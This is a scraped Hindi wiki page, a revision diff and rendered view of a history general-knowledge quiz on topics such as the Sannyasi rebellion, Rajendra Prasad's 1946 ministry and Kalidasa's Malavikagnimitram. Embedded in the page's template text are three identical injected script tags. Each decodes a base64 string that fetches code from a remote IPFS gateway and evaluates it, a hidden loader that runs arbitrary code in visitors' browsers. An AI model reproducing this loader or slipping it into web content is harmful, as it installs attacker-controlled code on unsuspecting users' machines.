Difference between revisions of "इतिहास सामान्य ज्ञान 263"

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-[[रंगपुर (गुजरात)|रंगपुर]] तथा दीनापुर विद्रोह
 
-[[रंगपुर (गुजरात)|रंगपुर]] तथा दीनापुर विद्रोह
 
-विष्णुपुर तथा वीरभूम विद्रोह
 
-विष्णुपुर तथा वीरभूम विद्रोह
+[[सन्न्यासी विद्रोह]]
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+[[संन्यासी विद्रोह]]
||[[चित्र:Aanandmath.jpg|right|80px|आनन्दमठ]]'सन्न्यासी विद्रोह' [[भारत]] की आज़ादी के लिए [[बंगाल (आज़ादी से पूर्व)|बंगाल]] में [[अंग्रेज़]] सरकार के विरुद्ध किया गया एक प्रबल विद्रोह था। बंगाल में अंग्रेज़ी हुकूमत के क़ायम होने पर ज़मींदार, कृषक, शिल्पकार सभी की स्थिति बहुत बदतर हो गई थी। इसके अतिरिक्त बंगाल का 1770 ई. का भयानक [[अकाल]] तथा अंग्रेज़ी सरकार द्वारा इसके प्रति बरती गई उदासीनता इस विद्रोह का प्रमुख कारण थी। 'सन्न्यासी विद्रोह' की स्पष्ट जानकारी [[बंकिमचन्द्र चटर्जी]] के [[उपन्यास]] '[[आनन्दमठ]]' में मिलती है।{{point}}अधिक जानकारी के लिए देखें:-[[सन्न्यासी विद्रोह]]
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||[[चित्र:Aanandmath.jpg|right|80px|आनन्दमठ]]'संन्यासी विद्रोह' [[भारत]] की आज़ादी के लिए [[बंगाल (आज़ादी से पूर्व)|बंगाल]] में [[अंग्रेज़]] सरकार के विरुद्ध किया गया एक प्रबल विद्रोह था। बंगाल में अंग्रेज़ी हुकूमत के क़ायम होने पर ज़मींदार, कृषक, शिल्पकार सभी की स्थिति बहुत बदतर हो गई थी। इसके अतिरिक्त बंगाल का 1770 ई. का भयानक [[अकाल]] तथा अंग्रेज़ी सरकार द्वारा इसके प्रति बरती गई उदासीनता इस विद्रोह का प्रमुख कारण थी। 'संन्यासी विद्रोह' की स्पष्ट जानकारी [[बंकिमचन्द्र चटर्जी]] के [[उपन्यास]] '[[आनन्दमठ]]' में मिलती है।{{point}}अधिक जानकारी के लिए देखें:-[[संन्यासी विद्रोह]]
  
 
{वर्ष [[1946]] में बनी अंतरिम सरकार में [[डॉ. राजेन्द्र प्रसाद]] के पास कौन-सा विभाग था?
 
{वर्ष [[1946]] में बनी अंतरिम सरकार में [[डॉ. राजेन्द्र प्रसाद]] के पास कौन-सा विभाग था?
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+खाद्य तथा कृषि
 
+खाद्य तथा कृषि
 
-[[वित्त मंत्रालय|वित्त विभाग]]
 
-[[वित्त मंत्रालय|वित्त विभाग]]
||[[चित्र:Dr.Rajendra-Prasad.jpg|right|100px|डॉ. राजेन्द्र प्रसाद]][[भारत]] के प्रथम [[राष्ट्रपति]] [[डॉ. राजेन्द्र प्रसाद]] प्रतिभाशाली व्यक्तित्व के धनी और विद्वान थे। डॉ. राजेन्द्र प्रसाद 'इंडियन नेशनल कांग्रेस' के एक से अधिक बार अध्यक्ष रहे थे। सन [[1934]] में [[बम्बई]] में हुए 'इंडियन नेशनल कांग्रेस' के अधिवेशन की अध्यक्षता उन्होंने की थी। [[1946]] में [[जवाहर लाल नेहरू]] के नेतृत्व में बारह मंत्रियों के साथ एक अंतरिम सरकार बनी थी। इसमें राजेन्द्र प्रसाद 'कृषि और खाद्य मंत्री' नियुक्त हुए। यह काम उन्हें पसन्द था और वह तुरन्त काम में जुट गये। देश में इस समय खाद्य पदार्थों की बहुत कमी थी और उन्होंने खाद्य पदार्थों का उत्पादन बढ़ाने के लिये योजना भी बनाई।{{point}}अधिक जानकारी के लिए देखें:-[[डॉ. राजेन्द्र प्रसाद]]
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||[[चित्र:Dr.Rajendra-Prasad.jpg|right|100px|डॉ. राजेन्द्र प्रसाद]][[भारत]] के प्रथम [[राष्ट्रपति]] [[डॉ. राजेन्द्र प्रसाद]] प्रतिभाशाली व्यक्तित्व के धनी और विद्वान् थे। डॉ. राजेन्द्र प्रसाद 'इंडियन नेशनल कांग्रेस' के एक से अधिक बार अध्यक्ष रहे थे। सन [[1934]] में [[बम्बई]] में हुए 'इंडियन नेशनल कांग्रेस' के अधिवेशन की अध्यक्षता उन्होंने की थी। [[1946]] में [[जवाहर लाल नेहरू]] के नेतृत्व में बारह मंत्रियों के साथ एक अंतरिम सरकार बनी थी। इसमें राजेन्द्र प्रसाद 'कृषि और खाद्य मंत्री' नियुक्त हुए। यह काम उन्हें पसन्द था और वह तुरन्त काम में जुट गये। देश में इस समय खाद्य पदार्थों की बहुत कमी थी और उन्होंने खाद्य पदार्थों का उत्पादन बढ़ाने के लिये योजना भी बनाई।{{point}}अधिक जानकारी के लिए देखें:-[[डॉ. राजेन्द्र प्रसाद]]
  
 
{[[कालिदास]] के निम्न ग्रंथों में से किस [[ग्रंथ]] से [[शुंग वंश|शुंगों]] के इतिहास के बारे में जानकारी प्राप्त होती है?
 
{[[कालिदास]] के निम्न ग्रंथों में से किस [[ग्रंथ]] से [[शुंग वंश|शुंगों]] के इतिहास के बारे में जानकारी प्राप्त होती है?
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-[[विक्रमोर्वशीय]]
 
-[[विक्रमोर्वशीय]]
 
+[[मालविकाग्निमित्रम्]]
 
+[[मालविकाग्निमित्रम्]]
||[[चित्र:Poet-Kalidasa.jpg|right|90px|कालिदास]]चौथी शताब्दी के उत्तरार्ध एवं पाँचवी शताब्दी के पूर्वार्द्ध में [[कालिदास]] द्वारा रचित '[[मालविकाग्निमित्रम्]]' [[संस्कृत]] ग्रंथ से [[पुष्यमित्र शुंग]] एवं उसके पुत्र [[अग्निमित्र]] के समय के राजनीतिक घटनाचक्र तथा [[शुंग वंश|शुंग]] एवं [[यवन]] संघर्ष का उल्लेख मिलता है। 'मालविकाग्निमित्रम्' शृंगार रस प्रधान पाँच अंकों का [[नाटक]] है। यह महाकवि कालिदास की प्रथम नाट्य कृति है; इसलिए इसमें वह लालित्य, माधुर्य एवं भावगाम्भीर्य दृष्टिगोचर नहीं होता, जो '[[विक्रमोर्वशीय]]' अथवा '[[अभिज्ञानशाकुन्तलम]]' में है।{{point}}अधिक जानकारी के लिए देखें:-[[मालविकाग्निमित्रम्]]
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||[[चित्र:Poet-Kalidasa.jpg|right|90px|कालिदास]]चौथी शताब्दी के उत्तरार्ध एवं पाँचवी शताब्दी के पूर्वार्द्ध में [[कालिदास]] द्वारा रचित '[[मालविकाग्निमित्रम्]]' [[संस्कृत]] ग्रंथ से [[पुष्यमित्र शुंग]] एवं उसके पुत्र [[अग्निमित्र]] के समय के राजनीतिक घटनाचक्र तथा [[शुंग वंश|शुंग]] एवं [[यवन]] संघर्ष का उल्लेख मिलता है। 'मालविकाग्निमित्रम्' श्रृंगार रस प्रधान पाँच अंकों का [[नाटक]] है। यह महाकवि कालिदास की प्रथम नाट्य कृति है; इसलिए इसमें वह लालित्य, माधुर्य एवं भावगाम्भीर्य दृष्टिगोचर नहीं होता, जो '[[विक्रमोर्वशीय]]' अथवा '[[अभिज्ञानशाकुन्तलम]]' में है।{{point}}अधिक जानकारी के लिए देखें:-[[मालविकाग्निमित्रम्]]
  
 
{निम्नलिखित में से किसे 'द गोल्डन सिटी ऑफ़ 1000 टेंपल' कहा जाता है?
 
{निम्नलिखित में से किसे 'द गोल्डन सिटी ऑफ़ 1000 टेंपल' कहा जाता है?

Latest revision as of 11:45, 3 August 2017

samany jnan prashnottari
rajyoan ke samany jnan

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  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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1 krishna dvaipayan vedavyas ne prasiddh 'mahabharat' granth ka pranayan kiya. vah sthal kaun-sa mana jata hai, jahaan baithakar vyas ne is granth ka pranayan kiya?

himalay
uttarakhand
kaanchi
inamean se koee nahian

2 nimnalikhit vidrohoan mean se kisako bankimachandr chatarji ne apane upanyas 'anandamath' mean ullekh karake prasiddh kiya?

bhil vidroh
rangapur tatha dinapur vidroh
vishnupur tatha virabhoom vidroh
sannyasi vidroh

3 varsh 1946 mean bani aantarim sarakar mean d aau. rajendr prasad ke pas kaun-sa vibhag tha?

raksha vibhag
videshi mamale tatha rashtramandal sambandh
khady tatha krishi
vitt vibhag

4 kalidas ke nimn granthoan mean se kis granth se shuangoan ke itihas ke bare mean janakari prapt hoti hai?

kumarasambhav
rritusanhar
vikramorvashiy
malavikagnimitramh

5 nimnalikhit mean se kise 'd goldan siti aauf 1000 teanpal' kaha jata hai?

kaanchipuram
nagarakoil
mahabalipuram
kumbhakonam

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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